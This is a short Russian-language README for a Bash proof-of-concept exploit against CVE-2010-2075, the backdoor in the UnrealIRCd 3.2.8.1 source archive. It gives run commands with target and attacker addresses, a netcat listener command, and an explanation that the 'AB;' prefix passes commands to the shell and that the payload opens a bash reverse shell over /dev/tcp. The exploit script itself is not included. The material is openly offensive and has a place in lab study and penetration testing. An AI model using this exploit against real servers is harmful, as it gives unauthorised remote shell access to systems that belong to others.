CVE-2010-2075 - Бэкдор в UnrealIRCd 3.2.8.1 (Bash PoC)

Описание

Bash PoC для бэкдора, внедрённого в исходный tar-архив UnrealIRCd 3.2.8.1. Скомпрометированный бинарный файл выполняет произвольные команды с префиксом AB;, отправленные на IRC-порт.

Использование

chmod +x exploit.sh
./exploit.sh <RHOST> <RPORT> <LHOST> <LPORT>

Пример:

./exploit.sh 192.168.1.10 6667 192.168.1.20 4444

Перед запуском настройте слушатель:

nc -lvnp 4444

Как это работает

Бэкдор проверяет входящие данные на наличие префикса AB; и передаёт остаток системной оболочке. Полезная нагрузка отправляет реверс-шелл bash через /dev/tcp.